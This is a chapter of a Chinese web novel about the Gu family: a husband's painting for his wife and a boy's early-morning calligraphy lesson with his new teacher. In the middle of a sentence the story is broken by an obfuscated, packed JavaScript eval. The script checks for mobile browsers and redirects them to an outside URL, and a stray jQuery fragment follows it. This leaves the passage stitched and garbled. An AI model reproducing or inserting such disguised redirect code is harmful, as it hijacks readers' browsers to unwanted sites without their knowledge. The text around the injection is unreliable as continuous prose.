“嘿,您怎么也出来了?”
再次被稀里糊涂赶出门的顾谨安在门口无能狂怒的跳脚了一阵,刚打算回屋去写他爹代师布置的大字,冷不丁听到了他娘房门打开的声音,回头望去时,正好看到他爹被推了出来,忍不住伸出头来嘲笑。
“你字写了吗还在外面游荡,小心我明天让你老师打你手心。”
瞪了一眼看热闹不嫌事大的儿子,顾良远痴痴看了一眼紧闭的房门,见其丝毫没有再次洞开的可能之后,只能在儿子揶揄的目光中悻悻回了书房。
自从家里多了两个小崽子,他这睡书房的日子是一日多过一日,堪称人间惨剧。
本来还想和娘子分享一下自己的近日佳作呢,现在全成泡影了,还好他聪明,将画轴留在了屋内。
“娘子,这个要不要让松墨给五爷送去。”
收拾好剩余糕点,在桌子上发现了画轴的翠羽将其拿起来询问江娘子。
“拿过来我看看。”
这画轴从顾良远进屋来她就看到了,想是特意留下来给她看的,既如此,便看看吧。
拿过画轴缓缓展开,只见葳蕤的芙蓉花中倚坐着一位女子,半遮脸的纨扇之下眉如远山,额间用朱色的胭脂勾勒了一个精致的芙蓉花钿,满头青丝只用一根玉簪松松挽起,鬓角散落的发丝垂落在雪青色的衣襟处,绵延向下是用金线绣出芙蓉花花纹的腰封,微微向前清触花瓣的手指细如葱管,顺着手指向上的右侧题词处,行云流水般的写了两句诗。
“庭中芙蓉花,冉冉朝露晞。①”(文中①出自明·王立道《拟明月何皎皎》)
除此之外,再没有其他的落款和花押了,但从画风到字迹,江娘子一看就知是顾良远所作。
“原来画的是咱家娘子啊,刚刚略一看,我还以为是哪里下房的芙蓉花神呢。”翠羽身为江娘子的陪嫁,自然也是识得几个字的,见她的指尖一直缱绻停留在冉晞二字之上,忍不住轻笑出声。
“贫嘴。”轻嗔了一句的江娘子有些微微脸红,冉晞正是她闺中的名字,只是嫁为人妇之后不再提及了,常人只唤她江氏或江娘子,唯有那人会在无人时这样称呼,现在居然还大咧咧的写在了画轴之上,看来此前和她诉的苦水全是假的。
儿子要真这么难教,怎还有精神弄这乱七八糟的。
快速的把画卷了,妥善放置在了妆奁旁的匣子中后,摇着扇子扇了阵风才感觉脸上的热意散了许多,一抬眼看到翠羽笑的跟个偷了小鱼的猫一样,又忍不住脸热了。
“不去休息杵在这里干嘛,莫不是要同我照料哥姐儿。”
“是是是,我这就把哥姐儿带走,就知道今晚少不了我的事儿。”俯身抱起刚好睡足的两个小家伙,一左一右半点不觉得吃力的翠羽走到门前,又笑着回头问了句:“娘子可需奴婢去书房将五爷请来。”
“快去睡吧你,这可是大姑娘该说的话。”
轻啐一口后的江娘子没有阻止她抱离孩子的举动,只红着脸颊为她打开了屋门。
“那奴婢这就带着哥姐儿下去了,娘子好生休息。”行至门口的翠羽特意朝着大门洞开的书房提高了音调,要不是顾虑她手中抱着孩子,江娘子都要上去捂她的嘴了。
果然在她偷笑着离去不久之后,书房的烛光一晃而灭,一溜儿小跑的顾良远再次出现在了她的身前,握住她微凉的手道。
“更深露重的,远何德何能让娘子亲迎。”
“……再贫嘴你还回书房里去。”
“这怎么可以,我还有事儿和娘子细谈呢……”
后面的话语随风湮灭在夜里,握笔听完动静的顾谨安忍不住露出一个斜嘴不屑的表情,什么时候他能有他爹这个脸皮,那干什么都会成功的。
鸡鸣刚过三声,顾谨安就被人从被窝里挖了出来,迷迷糊糊睁开眼发现是松墨之后,又困顿的闭上了眼睛。
“松墨叔,现在是什么时辰?”
“已是卯时。”
“这么早,那我再睡会儿……”才五点,怎么就来喊他起床啊。
说罢,不顾松墨的劝阻的声音再次砸倒在了床上,将自己卷成了一条毛毛虫。
“老师都侯在书房了,你还好意思独眠。”
凉凉的声音在耳边响起,带着一股无端的火气,让刚躺平的顾谨安一个跟头直接坐了起来。
“你居然起来了!”
难以置信,要不是天还没亮,他险些以为今日太阳是打西边出来的。
“你以为谁都像你一样?”听懂他言外之意的顾良远瞬间黑了脸,要不是这小子拖沓,他何须这么早的爬起来,好不容易才进了娘子屋的。
“……咱俩之前不是作息一样吗?”都是睡到太阳晒屁股的人,难道谁比谁高贵?
“三、二……”
“起了起了,我这就起。”顶着鸡窝头翻身下床的顾谨安满眼控诉,从哪里学来的一言不合就倒数啊。
“给你半盏茶的时间收拾。”
“半盏茶都不够洗漱的!”
“晚了就罚抄《弟子规》十遍。”
“……我觉得我现在就可以出发。”《弟子规》全文一千多字,十遍就是一万多字,这惩罚堪称丧心病狂。
“你能不能有点为人的自觉,再这么下去,为父这张脸都不够你丢的。”一把抓住正要蓬头垢面冲出去的儿子,顾良远心力交瘁。
“……你当初不是说过不怕丢脸吗?”要是不洗漱就被说成没有为人的自觉,顾谨安觉得这天下间起码有一半的人都不能算人了。
“……”果然,这混账玩意儿就是生来克他的,搬起石头砸自己的脚的顾良远只恨不得一把掐死当初说这句话的自己,还是该把他送入兰溪县的家学,能把府里的人有一个算一个气死了也算他孝顺了。
最终顾谨安还是凭着高中三年练就的灵魂记忆在五分钟内完成所有的洗漱工作,背着他的熊猫书包完美在他爹指定时间内到达了书房的门口。
却发现其中空无一人。
又被骗了!
看着凌晨五点没有一丝光亮的天,顾谨安只觉这个世界没爱了。
等等,松墨站在门口干嘛?
“哥儿快来,我们要去隔壁的常先生家。”
一时没拉住就看着他像脱缰野马奔向自家书房的松墨也很无奈。
“去隔壁?”脑子愣怔了一下。
“不然呢,你还准备坐等老师上门授课呢,快滚,离我的书房远一点。”感觉最近因他的原因,自己写出的字都丑了几分。
“先说啊,我可没超时。”
说完这句话的顾谨安迅速捂着耳朵向松墨跑去,主打一个听不到就不算数。
“……臭小子,鬼精鬼精的。”站在书房门口看了一阵的顾良远摇摇头进了书房,突然发现其中空寂得让他有些心惊,目光不由自主看向身侧的矮小桌椅,不承认儿子刚走他就有点想念了。
顾良远突然涌起的一腔慈父心肠顾谨安自不能知晓,他此刻正坐在常家的厅堂里美滋滋的吃着秦娘子为他煮的荷包蛋呢。
而他的新任老师则端坐一旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568981|169608||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正认真翻看他昨夜熬出来的十篇大字。
是的,十篇,虽然心中这必然是他爹逗他玩的,但前世做了一辈子好学生的他总觉得正式面见老师不拿点作业出来似乎有些不太得劲儿,既如此,一篇越是写,十篇也是写,字丑就用数量来弥补,应该没有人会讨厌勤能补拙的学生吧。
“你这字……”
“咳咳咳——”
翻看了一阵的常彦对他这一手字也有些头疼,不过相较昨晚写的行书来说也并非全无可取之处,斟酌了下言语刚准备开口,就吓得正埋首喝汤的顾谨安直接呛道,本满脸慈爱看着他吃东西的秦娘子赶忙伸手过去给他拍背。
“你这糟老头也是,孩子吃得好好的提这些干嘛,就算学习也得先让人吃饱了呀。”
“咳,那就先吃完再谈吧。”我哪知道他这么不禁吓,明明在顾家挺胆大的。
老婆子真是半点脸面都不给他做,战略性端茶掩饰的常彦腹诽,不过临时小弟子能写颜体也算是意外一喜,原以为以他爹那性格不会教他这么端正规整的字法,现在看来也不是完全随心所欲嘛。
只是这颜体写的,也忒丑了点。
十篇字虽一篇比一篇认真,但他还是看出了顾谨安在书法一道上注定的造诣有限。
风闻今上十分喜爱书法一道,前两年殿选夺得头甲的状元温畅就写得一手好字,以此力压了学识还略胜他一筹的夺甲热门伊仁,让其屈居榜眼之位,很是沸沸扬扬了一阵。
若真有意科举一途,这字怎么也得练好的,显风流的字写不好,就老老实实的练台阁体吧,虽谈不上特色可言,但写好了也没人敢说三道四。
“老师我吃好了。”在秦娘子的拍背下好不容易止住咳嗽的顾谨安将碗中的汤一饮而尽,就老老实实的起身站了起来。
他昨晚并没有用顾良远教了许多的行书,因为实在是驾驭不了,所以十篇大字,都谨慎的用了曾经学过一段时间被老师怒斥孺子不可教也的颜体。
虽然比行书能入眼一点,但也仅仅是一点点。
现在常彦要对他的书法发表看法,多少是有点忐忑的,毕竟事关老师
“那就到书房说话。”
被自家老婆子用眼神削了一顿的常彦正坐立不安,见他主动起身,也拿起他的大字先行向外走去。
“去吧,孩子,待会儿大娘给你端面果子来吃,老头子要是凶你你也别怕,只管来找大娘教训他就是。”
装作没听到老妻拆台之语的常彦步子迈得更快了,但有些怀疑自己让顾谨安到家中学习的这个做法是否正确。
他那贤弟虽是个难得的慈父,但起码不会这么无底线的溺爱孩子。
“阿嚏!”
拄腮正漫无目的翻看昨日教学书籍的顾良远打了个喷嚏,揉揉鼻子暗忖道:“臭小子这就想我了,不会被怀远兄打得哭鼻子了吧。”
他那老友对待学问一向是严肃认真的。
秋闱近在眼前,要不还是把孩子接回来自己教吧,可别耽误了他的备考。
对!他得去看看。
在常家观摩了一阵教的松墨刚开门回家,就感到眼前一道人影闪过,来不及喊住,就见对方着急忙慌的跑进了常家的大门,转瞬就不见了衣角。
“怎么回事儿?”
收回徒劳前伸的右手,不知其所谓的松墨摇头回了院中,今日他还得赶着驴车前往镇上采购呢,顺便探听下有没有前线的消息。
逢八一次的大集虽因战取消了,但镇上的铺子大多都还是正常经营的。